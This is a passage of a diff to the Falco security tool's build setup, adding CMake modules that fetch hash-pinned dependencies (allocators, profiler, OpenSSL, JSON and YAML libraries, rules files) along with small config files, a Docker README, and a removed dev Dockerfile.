+	message(
+		STATUS
+			"Existing strlcpy and strlcat found, will *not* use local definition by setting -DHAVE_STRLCPY and -DHAVE_STRLCAT."
+	)
+	add_definitions(-DHAVE_STRLCPY)
+	add_definitions(-DHAVE_STRLCAT)
+else()
+	message(STATUS "No strlcpy and strlcat found, will use local definition")
+endif()
+
+if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+	include(driver)
+endif()
+include(libscap)
+include(libsinsp)

cmake/modules/gperftools.cmake

@@ -0,0 +1,132 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2026 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+# gperftools CPU profiler support This module provides: GPERFTOOLS_INCLUDE_DIR (include directory)
+# and GPERFTOOLS_PROFILER_LIB (the profiler library path)
+
+option(USE_BUNDLED_GPERFTOOLS "Build gperftools from source" ${USE_BUNDLED_DEPS})
+
+if(GPERFTOOLS_INCLUDE_DIR)
+	# Already have gperftools configured
+elseif(NOT USE_BUNDLED_GPERFTOOLS)
+	# Use system gperftools
+	find_path(
+		GPERFTOOLS_INCLUDE_DIR
+		NAMES gperftools/profiler.h
+		PATHS /usr/include /usr/local/include
+	)
+
+	find_library(
+		GPERFTOOLS_PROFILER_LIB
+		NAMES profiler
+		PATHS /usr/lib /usr/local/lib /usr/lib/x86_64-linux-gnu /usr/lib/aarch64-linux-gnu
+	)
+
+	if(GPERFTOOLS_INCLUDE_DIR AND GPERFTOOLS_PROFILER_LIB)
+		message(
+			STATUS
+				"Found system gperftools: include: ${GPERFTOOLS_INCLUDE_DIR}, lib: ${GPERFTOOLS_PROFILER_LIB}"
+		)
+	else()
+		message(
+			FATAL_ERROR
+				"Couldn't find system gperftools. Install it or use -DUSE_BUNDLED_GPERFTOOLS=ON\n"
+				"  Ubuntu/Debian: sudo apt-get install libgoogle-perftools-dev\n"
+				"  Fedora/RHEL:   sudo dnf install gperftools-devel\n"
+				"  macOS:         brew install gperftools"
+		)
+	endif()
+else()
+	# Build gperftools from source
+	set(GPERFTOOLS_SRC "${PROJECT_BINARY_DIR}/gperftools-prefix/src/gperftools")
+	set(GPERFTOOLS_INCLUDE_DIR "${GPERFTOOLS_SRC}/src")
+
+	if(BUILD_SHARED_LIBS)
+		set(GPERFTOOLS_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+	else()
+		set(GPERFTOOLS_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+	endif()
+
+	# The library is built in .libs subdirectory
+	set(GPERFTOOLS_PROFILER_LIB "${GPERFTOOLS_SRC}/.libs/libprofiler${GPERFTOOLS_LIB_SUFFIX}")
+
+	# gperftools version 2.15 (latest stable as of 2024)
+	set(GPERFTOOLS_VERSION "2.15")
+	set(GPERFTOOLS_URL
+		"https://github.com/gperftools/gperftools/releases/download/gperftools-${GPERFTOOLS_VERSION}/gperftools-${GPERFTOOLS_VERSION}.tar.gz"
+	)
+	set(GPERFTOOLS_URL_HASH
+		"SHA256=c69fef855628c81ef56f12e3c58f2b7ce1f326c0a1fe783e5cae0b88cbbe9a80"
+	)
+
+	message(STATUS "Building gperftools ${GPERFTOOLS_VERSION} from source")
+
+	# Configure options for gperftools
+	set(GPERFTOOLS_CONFIGURE_ARGS --enable-cpu-profiler --disable-heap-profiler
+								  --disable-heap-checker --disable-debugalloc
+	)
+
+	# Check if libunwind is available for better stack traces
+	find_library(LIBUNWIND_LIBRARY NAMES unwind)
+	if(LIBUNWIND_LIBRARY)
+		list(APPEND GPERFTOOLS_CONFIGURE_ARGS --enable-libunwind)
+		message(STATUS "gperftools: libunwind found, enabling for better stack traces")
+	else()
+		list(APPEND GPERFTOOLS_CONFIGURE_ARGS --disable-libunwind)
+		message(STATUS "gperftools: libunwind not found, using frame pointers for stack traces")
+	endif()
+
+	ExternalProject_Add(
+		gperftools
+		PREFIX "${PROJECT_BINARY_DIR}/gperftools-prefix"
+		URL "${GPERFTOOLS_URL}"
+		URL_HASH "${GPERFTOOLS_URL_HASH}"
+		CONFIGURE_COMMAND <SOURCE_DIR>/configure ${GPERFTOOLS_CONFIGURE_ARGS}
+		BUILD_COMMAND ${CMD_MAKE} ${PROCESSOUR_COUNT_MAKE_FLAG}
+		BUILD_IN_SOURCE 1
+		INSTALL_COMMAND ""
+		UPDATE_COMMAND ""
+		BUILD_BYPRODUCTS ${GPERFTOOLS_PROFILER_LIB}
+	)
+
+	install(
+		FILES "${GPERFTOOLS_PROFILER_LIB}"
+		DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+		COMPONENT "libs-deps"
+		OPTIONAL
+	)
+endif()
+
+# Create a custom target so we can always depend on 'gperftools' regardless of bundled/system
+if(NOT TARGET gperftools)
+	add_custom_target(gperftools)
+endif()
+
+# Add include directory globally
+include_directories(${GPERFTOOLS_INCLUDE_DIR})
+
+# Add compile definition so code can detect profiling support
+add_compile_definitions(HAS_GPERFTOOLS)
+
+# Wrap the profiler library with --whole-archive to ensure the profiler's initialization code is
+# linked even though we don't call ProfilerStart() directly. This is required for the CPUPROFILE
+# environment variable to work.
+set(GPERFTOOLS_PROFILER_LIB "-Wl,--whole-archive" "${GPERFTOOLS_PROFILER_LIB}"
+							"-Wl,--no-whole-archive"
+)
+
+message(STATUS "gperftools CPU profiler enabled")
+message(STATUS "  Include dir: ${GPERFTOOLS_INCLUDE_DIR}")
+message(STATUS "  Library: ${GPERFTOOLS_PROFILER_LIB}")

cmake/modules/jemalloc.cmake

@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2025 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_JEMALLOC "Use bundled jemalloc allocator" ${USE_BUNDLED_DEPS})
+
+if(JEMALLOC_INCLUDE)
+	# we already have JEMALLOC
+elseif(NOT USE_BUNDLED_JEMALLOC)
+	find_path(JEMALLOC_INCLUDE jemalloc/jemalloc.h)
+	set(JEMALLOC_INCLUDE ${JEMALLOC_INCLUDE}/jemalloc)
+	if(BUILD_SHARED_LIBS)
+		set(JEMALLOC_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+	else()
+		set(JEMALLOC_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+	endif()
+	find_library(MALLOC_LIB NAMES libjemalloc${JEMALLOC_LIB_SUFFIX})
+	if(MALLOC_LIB)
+		message(STATUS "Found system jemalloc: include: ${JEMALLOC_INCLUDE}, lib: ${MALLOC_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system jemalloc")
+	endif()
+else()
+	if(BUILD_SHARED_LIBS)
+		set(JEMALLOC_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+	else()
+		set(JEMALLOC_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+	endif()
+	set(JEMALLOC_SRC "${PROJECT_BINARY_DIR}/jemalloc-prefix/src")
+	set(MALLOC_LIB "${JEMALLOC_SRC}/malloc/lib/libjemalloc${JEMALLOC_LIB_SUFFIX}")
+	set(JEMALLOC_INCLUDE "${JEMALLOC_SRC}/malloc/include/jemalloc")
+	if(CMAKE_SYSTEM_PROCESSOR STREQUAL "aarch64")
+		set(JEMALLOC_ARCH_SPECIFIC_CONFIGURE_ARGS --with-lg-page=14)
+	else()
+		set(JEMALLOC_ARCH_SPECIFIC_CONFIGURE_ARGS "")
+	endif()
+	ExternalProject_Add(
+		malloc
+		PREFIX "${PROJECT_BINARY_DIR}/jemalloc-prefix"
+		URL "https://github.com/jemalloc/jemalloc/archive/refs/tags/5.3.0.tar.gz"
+		URL_HASH "SHA256=ef6f74fd45e95ee4ef7f9e19ebe5b075ca6b7fbe0140612b2a161abafb7ee179"
+		CONFIGURE_COMMAND ./autogen.sh --enable-prof --disable-libdl
+						  ${JEMALLOC_ARCH_SPECIFIC_CONFIGURE_ARGS}
+		BUILD_IN_SOURCE 1
+		BUILD_COMMAND make build_lib_static
+		INSTALL_COMMAND ""
+		UPDATE_COMMAND ""
+		BUILD_BYPRODUCTS ${MALLOC_LIB}
+	)
+	install(
+		FILES "${MALLOC_LIB}"
+		DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+		COMPONENT "libs-deps"
+	)
+endif()
+
+# We add a custom target, in this way we can always depend on `jemalloc` without distinguishing
+# between "bundled" and "not-bundled" case
+if(NOT TARGET malloc)
+	add_custom_target(malloc)
+endif()
+
+include_directories(${JEMALLOC_INCLUDE})
+add_compile_definitions(HAS_JEMALLOC)

cmake/modules/mimalloc.cmake

@@ -0,0 +1,92 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2025 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_MIMALLOC "Use bundled mimalloc (microsoft) allocator" ${USE_BUNDLED_DEPS})
+
+if(MIMALLOC_INCLUDE)
+	# we already have MIMALLOC
+elseif(NOT USE_BUNDLED_MIMALLOC)
+	find_path(MIMALLOC_INCLUDE mimalloc/mimalloc.h)
+	set(MIMALLOC_INCLUDE ${MIMALLOC_INCLUDE}/mimalloc)
+	if(BUILD_SHARED_LIBS)
+		set(MIMALLOC_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+	else()
+		set(MIMALLOC_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+	endif()
+	find_library(MALLOC_LIB NAMES libmimalloc${MIMALLOC_LIB_SUFFIX})
+	if(MALLOC_LIB)
+		message(STATUS "Found system mimalloc: include: ${MIMALLOC_INCLUDE}, lib: ${MALLOC_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system mimalloc")
+	endif()
+else()
+	if(BUILD_SHARED_LIBS)
+		set(BUILD_STATIC Off)
+		set(MIMALLOC_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+	else()
+		set(BUILD_STATIC On)
+		set(MIMALLOC_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+	endif()
+	set(MIMALLOC_SRC "${PROJECT_BINARY_DIR}/mimalloc-prefix/src")
+	string(TOLOWER "${CMAKE_BUILD_TYPE}" _build_type)
+	if(_build_type STREQUAL "debug")
+		set(MIMALLOC_LIB_BASENAME "libmimalloc-debug")
+	else()
+		set(MIMALLOC_LIB_BASENAME "libmimalloc")
+	endif()
+	set(MALLOC_LIB "${MIMALLOC_SRC}/malloc-build/${MIMALLOC_LIB_BASENAME}${MIMALLOC_LIB_SUFFIX}")
+	set(MIMALLOC_INCLUDE ${MIMALLOC_SRC}/malloc/include/)
+
+	# To avoid recent clang versions complaining with "error: expansion of date or time macro is not
+	# reproducible" while building mimalloc, we force-set both variables.
+	string(TIMESTAMP DATE "%Y%m%d")
+	string(TIMESTAMP TIME "%H:%M")
+	set(MIMALLOC_EXTRA_CPPDEFS __DATE__="${DATE}",__TIME__="${TIME}")
+
+	# We disable arch specific optimization because of issues with building with zig. Optimizations
+	# would be only effective on arm64. See MI_NO_OPT_ARCH=On.
+	ExternalProject_Add(
+		malloc
+		PREFIX "${PROJECT_BINARY_DIR}/mimalloc-prefix"
+		URL "https://github.com/microsoft/mimalloc/archive/refs/tags/v3.1.5.tar.gz"
+		URL_HASH "SHA256=1c6949032069d5ebea438ec5cedd602d06f40a92ddf0f0d9dcff0993e5f6635c"
+		LIST_SEPARATOR "," # to pass MIMALLOC_EXTRA_CPPDEFS as list
+		CMAKE_ARGS -DBUILD_SHARED_LIBS=${BUILD_SHARED_LIBS}
+				   -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+				   -DMI_BUILD_SHARED=${BUILD_SHARED_LIBS}
+				   -DMI_BUILD_STATIC=${BUILD_STATIC}
+				   -DMI_BUILD_TESTS=Off
+				   -DMI_BUILD_OBJECT=Off
+				   -DMI_NO_OPT_ARCH=On
+				   -DMI_EXTRA_CPPDEFS=${MIMALLOC_EXTRA_CPPDEFS}
+		INSTALL_COMMAND ""
+		UPDATE_COMMAND ""
+		BUILD_BYPRODUCTS ${MALLOC_LIB}
+	)
+	install(
+		FILES "${MALLOC_LIB}"
+		DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+		COMPONENT "libs-deps"
+	)
+endif()
+
+# We add a custom target, in this way we can always depend on `mimalloc` without distinguishing
+# between "bundled" and "not-bundled" case
+if(NOT TARGET malloc)
+	add_custom_target(malloc)
+endif()
+
+include_directories(${MIMALLOC_INCLUDE})
+add_compile_definitions(HAS_MIMALLOC)

cmake/modules/njson.cmake

@@ -0,0 +1,28 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_NLOHMANN_JSON "Enable building of the bundled nlohmann-json" ${USE_BUNDLED_DEPS})
+
+if(USE_BUNDLED_NLOHMANN_JSON)
+	include(FetchContent)
+	FetchContent_Declare(
+		nlohmann_json
+		URL https://github.com/nlohmann/json/archive/v3.11.3.tar.gz
+		URL_HASH SHA256=0d8ef5af7f9794e3263480193c491549b2ba6cc74bb018906202ada498a79406
+	)
+	FetchContent_MakeAvailable(nlohmann_json)
+else()
+	find_package(nlohmann_json CONFIG REQUIRED)
+endif()

cmake/modules/openssl.cmake

@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
+
+if(OPENSSL_INCLUDE_DIR)
+	# we already have openssl
+elseif(NOT USE_BUNDLED_OPENSSL)
+	find_package(OpenSSL REQUIRED)
+	message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
+else()
+	if(BUILD_SHARED_LIBS)
+		set(OPENSSL_LIB_SUFFIX ${CMAKE_SHARED_LIBRARY_SUFFIX})
+		set(OPENSSL_SHARED_OPTION shared)
+	else()
+		set(OPENSSL_LIB_SUFFIX ${CMAKE_STATIC_LIBRARY_SUFFIX})
+		set(OPENSSL_SHARED_OPTION no-shared)
+	endif()
+	set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
+	set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+	set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include/")
+	set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl${OPENSSL_LIB_SUFFIX}")
+	set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto${OPENSSL_LIB_SUFFIX}")
+	set(OPENSSL_LIBRARIES ${OPENSSL_LIBRARY_SSL} ${OPENSSL_LIBRARY_CRYPTO})
+
+	if(NOT TARGET openssl)
+		if(NOT ENABLE_PIC)
+			set(OPENSSL_PIC_OPTION)
+		else()
+			set(OPENSSL_PIC_OPTION "-fPIC")
+		endif()
+
+		message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+
+		ExternalProject_Add(
+			openssl
+			PREFIX "${PROJECT_BINARY_DIR}/openssl-prefix"
+			URL "https://github.com/openssl/openssl/releases/download/openssl-3.1.4/openssl-3.1.4.tar.gz"
+			URL_HASH "SHA256=840af5366ab9b522bde525826be3ef0fb0af81c6a9ebd84caa600fea1731eee3"
+			CONFIGURE_COMMAND ./config ${OPENSSL_SHARED_OPTION} ${OPENSSL_PIC_OPTION}
+							  --prefix=${OPENSSL_INSTALL_DIR} --libdir=lib
+			BUILD_COMMAND make
+			BUILD_IN_SOURCE 1
+			BUILD_BYPRODUCTS ${OPENSSL_LIBRARY_SSL} ${OPENSSL_LIBRARY_CRYPTO}
+			INSTALL_COMMAND make install_sw
+		)
+		install(
+			FILES "${OPENSSL_LIBRARY_SSL}"
+			DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+		install(
+			FILES "${OPENSSL_LIBRARY_CRYPTO}"
+			DESTINATION "${CMAKE_INSTALL_LIBDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+		install(
+			DIRECTORY "${OPENSSL_INCLUDE_DIR}"
+			DESTINATION "${CMAKE_INSTALL_INCLUDEDIR}/${LIBS_PACKAGE_NAME}"
+			COMPONENT "libs-deps"
+		)
+	endif()
+endif()
+
+if(NOT TARGET openssl)
+	add_custom_target(openssl)
+endif()
+
+include_directories("${OPENSSL_INCLUDE_DIR}")

cmake/modules/rules.cmake

@@ -0,0 +1,95 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2025 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+include(GNUInstallDirs)
+include(ExternalProject)
+
+if(NOT DEFINED FALCOSECURITY_RULES_FALCO_PATH)
+	# falco_rules.yaml
+	set(FALCOSECURITY_RULES_FALCO_VERSION "falco-rules-5.0.0")
+	set(FALCOSECURITY_RULES_FALCO_CHECKSUM
+		"SHA256=ca87d972e102a9f960fed41f90d2736a73079fcc7e787187028f455ad58b1637"
+	)
+	set(FALCOSECURITY_RULES_FALCO_PATH
+		"${PROJECT_BINARY_DIR}/falcosecurity-rules-falco-prefix/src/falcosecurity-rules-falco/falco_rules.yaml"
+	)
+	ExternalProject_Add(
+		falcosecurity-rules-falco
+		URL "https://download.falco.org/rules/${FALCOSECURITY_RULES_FALCO_VERSION}.tar.gz"
+		URL_HASH "${FALCOSECURITY_RULES_FALCO_CHECKSUM}"
+		CONFIGURE_COMMAND ""
+		BUILD_COMMAND ""
+		INSTALL_COMMAND ""
+		TEST_COMMAND ""
+	)
+endif()
+
+if(NOT DEFINED FALCOSECURITY_RULES_LOCAL_PATH)
+	# falco_rules.local.yaml
+	set(FALCOSECURITY_RULES_LOCAL_PATH
+		"${PROJECT_BINARY_DIR}/falcosecurity-rules-local-prefix/falco_rules.local.yaml"
+	)
+	file(WRITE "${FALCOSECURITY_RULES_LOCAL_PATH}" "# Your custom rules!\n")
+endif()
+
+if(NOT DEFINED FALCO_ETC_DIR)
+	set(FALCO_ETC_DIR "${CMAKE_INSTALL_FULL_SYSCONFDIR}/falco")
+endif()
+
+if(WIN32 OR APPLE)
+	set(FALCO_ETC_DIR "etc/falco")
+endif()
+
+if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
+	set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
+	set(FALCO_LOCAL_RULES_DEST_FILENAME "falco_rules.local.yaml")
+endif()
+
+if(DEFINED FALCO_COMPONENT) # Allow a slim version of Falco to be embedded in other projects,
+	# intentionally *not* installing all rulesets.
+	install(
+		FILES "${FALCOSECURITY_RULES_FALCO_PATH}"
+		COMPONENT "${FALCO_COMPONENT}"
+		DESTINATION "${FALCO_ETC_DIR}"
+		RENAME "${FALCO_RULES_DEST_FILENAME}"
+	)
+
+	install(
+		FILES "${FALCOSECURITY_RULES_LOCAL_PATH}"
+		COMPONENT "${FALCO_COMPONENT}"
+		DESTINATION "${FALCO_ETC_DIR}"
+		RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}"
+	)
+else() # Default Falco installation
+	install(
+		FILES "${FALCOSECURITY_RULES_FALCO_PATH}"
+		DESTINATION "${FALCO_ETC_DIR}"
+		RENAME "${FALCO_RULES_DEST_FILENAME}"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+
+	install(
+		FILES "${FALCOSECURITY_RULES_LOCAL_PATH}"
+		DESTINATION "${FALCO_ETC_DIR}"
+		RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+
+	install(
+		DIRECTORY
+		DESTINATION "${FALCO_ETC_DIR}/rules.d"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+endif()

cmake/modules/static-analysis.cmake

@@ -0,0 +1,64 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+# create the reports folder
+file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports)
+file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck)
+
+# cppcheck
+mark_as_advanced(CPPCHECK CPPCHECK_HTMLREPORT)
+find_program(CPPCHECK cppcheck)
+find_program(CPPCHECK_HTMLREPORT cppcheck-htmlreport)
+
+if(NOT CPPCHECK)
+	message(
+		STATUS
+			"cppcheck command not found, static code analysis using cppcheck will not be available."
+	)
+else()
+	message(STATUS "cppcheck found at: ${CPPCHECK}")
+	# we are aware that cppcheck can be run along with the software compilation in a single step
+	# using the CMAKE_CXX_CPPCHECK variables. However, for practical needs we want to keep the two
+	# things separated and have a specific target for it. Our cppcheck target reads the compilation
+	# database produced by CMake
+	set(CMAKE_EXPORT_COMPILE_COMMANDS On)
+	add_custom_target(
+		cppcheck
+		COMMAND
+			${CPPCHECK} "--enable=all" "--force" "--inconclusive" "--inline-suppr" # allows to
+			# specify suppressions directly in source code
+			"--xml" # we want to generate a report
+			"--output-file=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck/cppcheck.xml" # generate
+			# the report under the reports folder in the build folder
+			"-i${CMAKE_CURRENT_BINARY_DIR}" # exclude the build folder
+			"${CMAKE_SOURCE_DIR}"
+	)
+endif() # CPPCHECK
+
+if(NOT CPPCHECK_HTMLREPORT)
+	message(
+		STATUS
+			"cppcheck-htmlreport command not found, will not be able to produce html reports for cppcheck results"
+	)
+else()
+	message(STATUS "cppcheck-htmlreport found at: ${CPPCHECK_HTMLREPORT}")
+	add_custom_target(
+		cppcheck_htmlreport
+		COMMAND
+			${CPPCHECK_HTMLREPORT} --title=${CMAKE_PROJECT_NAME}
+			--report-dir=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck
+			--file=static-analysis-reports/cppcheck/cppcheck.xml
+	)
+endif() # CPPCHECK_HTMLREPORT

cmake/modules/yaml-cpp.cmake

@@ -0,0 +1,28 @@
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+
+option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
+
+if(USE_BUNDLED_YAMLCPP)
+	include(FetchContent)
+	FetchContent_Declare(
+		yamlcpp
+		URL https://github.com/jbeder/yaml-cpp/archive/c2bec4c755c67ad86185a2a264996137904fb712.tar.gz
+		URL_HASH SHA256=faea1ffdbad81b958b3b45a63ba667f4db53a3fffb983ca5df4745cf90044797
+	)
+	FetchContent_MakeAvailable(yamlcpp)
+else()
+	find_package(yaml-cpp CONFIG REQUIRED)
+endif()

config/falco.container_plugin.yaml

@@ -0,0 +1,2 @@
+# Enable container plugin for linux non musl installation.
+load_plugins: [container]

config/falco.iso8601_timeformat.yaml

@@ -0,0 +1,2 @@
+# Enable iso 8601 time format on docker
+time_format_iso_8601: true

cpack/debian/conffiles

@@ -1,4 +0,0 @@
-/etc/falco/falco.yaml
-/etc/falco/falco_rules.yaml
-/etc/falco/rules.available/application_rules.yaml
-/etc/falco/falco_rules.local.yaml

docker/OWNERS

@@ -0,0 +1,5 @@
+labels:
+  - area/integration
+approvers:
+  - leogr
+

docker/README.md

@@ -0,0 +1,12 @@
+# Falco Dockerfiles
+
+This directory contains various ways to package Falco as a container and related tools.
+
+## Currently Supported Images
+
+| Name                                                                                                                                                                                                                                                                                                                                                                                       | Directory                   | Description                                                                                                                                                                                                                |
+|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco)                                                                                                          | docker/falco                | Distroless image based on the latest released tar.gz of Falco. No tools are included in the image.                                                                              |
+| [falcosecurity/falco:latest-debian](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_-debian](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-debian](https://hub.docker.com/repository/docker/falcosecurity/falco)                                                                                     | docker/falco-debian         | Debian-based image. Include some tools (i.e. jq, curl). No driver-building toolchain support. |
+| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader)                      | docker/driver-loader        | Based on falcosecurity/falco:x.y.z-debian (see above) plus the driver building toolchain support and falcoctl. This is intended to be used as an installer or an init container when modern eBPF cannot be used.                     |
+| [falcosecurity/falco-driver-loader:latest-buster](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_-buster](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master-debian](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader-buster | Similar to falcosecurity/falco-driver-loader (see above) but based on a legacy Debian image (i.e. buster ). Recommended only for old kernel versions.                                                                      |

docker/dev/Dockerfile

@@ -1,70 +0,0 @@
-FROM debian:unstable
-
-MAINTAINER Sysdig <support@sysdig.com>
-
-ENV FALCO_REPOSITORY dev
-
-LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
-
-ENV SYSDIG_HOST_ROOT /host
-
-ENV HOME /root
-
-RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
-
-ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
-
-RUN apt-get update \
- && apt-get install -y --no-install-recommends \
-	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
-	curl \
-	gnupg2 \
-	gcc \
-	gcc-5 \
-	gcc-6 \
-	gdb \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
